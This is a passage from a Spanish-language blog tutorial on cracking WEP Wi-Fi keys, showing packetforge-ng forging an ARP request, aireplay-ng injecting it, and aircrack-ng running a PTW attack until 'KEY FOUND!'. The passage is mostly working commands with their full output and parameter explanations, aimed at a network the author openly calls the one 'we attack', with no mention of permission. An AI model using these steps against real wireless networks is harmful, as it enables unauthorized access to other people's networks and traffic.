Offset   56 (55% done) | xor = 6C | pt = 94 | 1286 frames written in 21865ms
Offset   55 (57% done) | xor = 13 | pt = 0A |  955 frames written in 16229ms
Offset   54 (59% done) | xor = A1 | pt = 02 |  545 frames written in  9271ms
Offset   53 (61% done) | xor = FB | pt = 00 |  910 frames written in 15458ms
Offset   52 (63% done) | xor = BA | pt = EF | 1032 frames written in 17546ms
Offset   51 (65% done) | xor = F0 | pt = 92 |  503 frames written in  8547ms
Offset   50 (67% done) | xor = 15 | pt = 4D | 1100 frames written in 18702ms
Offset   49 (69% done) | xor = 9B | pt = 28 | 1415 frames written in 24056ms
Offset   48 (71% done) | xor = 0F | pt = 0A |  337 frames written in  5725ms
Offset   47 (73% done) | xor = 4A | pt = 53 |  408 frames written in  6938ms
Offset   46 (75% done) | xor = 8F | pt = 9B |  443 frames written in  7540ms
Offset   45 (76% done) | xor = 30 | pt = 02 |  889 frames written in 15117ms
Offset   44 (78% done) | xor = 79 | pt = 01 |  756 frames written in 12850ms
Offset   43 (80% done) | xor = F4 | pt = 00 | 1251 frames written in 21262ms
Offset   42 (82% done) | xor = 75 | pt = 40 |  946 frames written in 16085ms
Offset   41 (84% done) | xor = 37 | pt = 00 |  612 frames written in 10394ms
Offset   40 (86% done) | xor = 06 | pt = 00 |  808 frames written in 13750ms
Offset   39 (88% done) | xor = B9 | pt = 20 |  455 frames written in  7726ms
Offset   38 (90% done) | xor = D3 | pt = 00 |  613 frames written in 10419ms
Offset   37 (92% done) | xor = 91 | pt = C0 |  586 frames written in  9961ms
Offset   36 (94% done) | xor = 01 | pt = 46 |  885 frames written in 15042ms
Offset   35 (96% done) | xor = 87 | pt = 00 |  980 frames written in 16664ms
Offset   34 (98% done) | xor = 38 | pt = 08 | 2500 frames written in 42499ms

Saving plaintext in replay_dec-0517-153213.cap
Saving keystream in replay_dec-0517-153213.xor

Completed in 188s (0.26 bytes/s)

Oki, proceso completado y ha guardado la información PRGA en el archivo replay_dec-0517-153213.xor, puede ser que te indique varios paquetes antes de que funcione el proceso

3.2.2.3 Creación del paquete ARP

Para crear el paquete ARP que inyectaremos hay que usar el comando:

shell:~$  packetforge-ng -0 -a 00:01:38:A4:97:18 -h 00:19:D2:0B:34:E5 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0517-153648.xor -w paquete-arp

Wrote packet to: paquete-arp

Los parámetros:

  • -0: Indica que vamos a generar un paquete de tipo ARP

  • -a: BSSID del AP

  • -h: Dirección MAC de nuestra tarjeta de red

  • -k: Dirección IP de destino, en este caso es todas las ipes esto se conoce como broadcast

  • -l: Dirección IP de origen

  • -y: Nombre del archivo que contiene la información de PRGA, es el archivo creado en los pasos anteriores

  • -w: Nombre del archivo en el que guardará la petición ARP que inyectaremos

A diferencia de la mayoría de comandos ejecutados, en este sí es obligatorio especificar la dirección MAC del cliente (opción -h)

3.2.2.4 Inyectando el paquete ARP obtenido

Ahora tan solo queda inyectar el paquete y ver que funcione bíen, asumo que seguimos capturando paquetes de la red (punto 3.1). Inyectamos el paquete ejecutando

shell:~$ sudo aireplay-ng -2 -r paquete-arp mon0

No source MAC (-h) specified. Using the device MAC (00:19:D2:0B:34:E5)

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID  =  00:01:38:CE:45:14
Dest. MAC  =  FF:FF:FF:FF:FF:FF
Source MAC  =  00:19:D2:0B:34:E5

0x0000:  0841 0201 0001 38ce 4514 0019 d20b 34e5  .A….8.E…..4.
0x0010:  ffff ffff ffff 8001 a217 3c00 a964 c16f  ……….<..d.o
0x0020:  8f5f 79ea 0453 1199 7452 26e5 70be e5c9  ._y..S..tR&.p…
0x0030:  2fe0 f3de 4f60 8413 45c3 52af 85b4 f8f8  /…O`..E.R…..
0x0040:  5b76 49b2                                [vI.

Use this packet ? y

Saving chosen packet in replay_src-0517-160929.cap
You should also start airodump-ng to capture replies.

Sent 399 packets…(499 pps)

cuyos parámetros son:

  • -2: Selección interactiva del frame a utilizar

  • -r: Archivo en el que buscar paquetes

  • mon0: Tarjeta de red en la que inyectar el paquete

para saber si la cosa va bien, hay que ir al terminal en el que se ejecute el comando airodump-ng (punto 3.1) y cerciorarse de que aumentan los paquetes de la columna #Data de la red que atacamos así como los de la columna Packets de nuestro ordenador, los que están marcados en negrita

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
00:01:38:A4:97:18 -66  50    27552   198831 0   5  54 . WEP  WEP         WLAN_65

BSSID              STATION            PWR   Rate    Lost  Packets  Probes
00:01:38:A4:97:18 00:19:D2:0B:34:E5 0    0 – 0      0   822832

Mientras se están capturando paquetes se puede intentar craquar la contraseña tal y como explica el paso 3.3

3.3 Craqueando la contraseña

Mientras vamos inyectando y capturando paquetes podemos intentar craquear la contraseña desde otro terminal ejecutando

shell:~$ aircrack-ng wlan15-0*.ivs

Opening wlan15-01.ivs
Opening wlan15-02.ivs
Opening wlan15-03.ivs
Opening wlan15-04.ivs
Opening wlan15-05.ivs
Opening wlan15-06.ivs
Opening wlan15-07.ivs
Opening wlan15-08.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 27338 ivs.

Aircrack-ng 1.0 rc3

[00:00:00] Tested 1534 keys (got 27308 IVs)

KB    depth   byte(vote)
0    0/  1   58(41216) 44(33792) 5C(33536) 12(32512) AC(32512) A6(32256)
1    0/  1   30(40704) 17(34560) 2A(33536) 6A(33280) FD(33280) 15(33024)
2    3/  5   5B(34816) B8(34560) A1(34048) F0(34048) 07(33024) A3(33024)
3    1/  2   30(37120) 63(33536) D7(33024) EE(32512) FF(32256) 59(32000)
4    0/  1   31(37888) 1B(34816) 7C(34816) 04(34560) 2F(34048) 14(33792)
5    0/  2   33(36096) A0(34304) 87(33792) 95(33536) 56(33280) 74(33024)
6    0/  1   38(38144) AC(34816) EA(34560) C8(34304) 06(33024) 20(33024)
7    0/  1   41(37376) F2(35072) 9E(34816) 9F(33792) 33(33536) 6C(33536)
8    0/  1   45(37632) 13(34816) F5(34304) 85(33024) 8E(32512) 9F(32512)
9    0/ 17   45(33024) 07(32768) A5(32512) 32(32256) 3C(32256) E1(31744)
10    0/  1   42(37632) CE(35584) 28(33792) 4D(33280) 17(32512) 33(32512)
11    2/  5   31(34304) 83(32768) 4B(32768) A6(32256) 29(32000) 60(32000)
12    0/  1   35(36864) BB(34048) 01(33280) 66(33024) 79(32768) 88(32768)

KEY FOUND! [ 58:30:30:30:31:33:38:41:45:45:42:31:35 ] (ASCII: X000138AEEB15 )
Decrypted correctly: 100%

Y… magia ya tenemos la contraseña!!! puede que no aparezca la contraseña en ASCII (ascii es sinonimo de texto con el alfabeto inglés) pero siempre aparecerá la clave en sistema exadecimal (exadecimal es un sistema de numeración compuesto por 16 caracteres que son del 0 al 9 y las letras A,B,C,D,E y F)

En el comando de aircrack-ng he especificado las opciones:

  • wlan15*.ivs (obligatorio): Es el nombre de los archivos que contienen los paquetes capturador por airodump-ng debes sustituir wlan15 por el nombre que hayas especificado en la ejecución del comando airodump-ng mediante la opción –w (Ojo si no has pasado el parámetro -i al comando airodump-ng la extensión del archivo será cap en lugar de ivs).

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.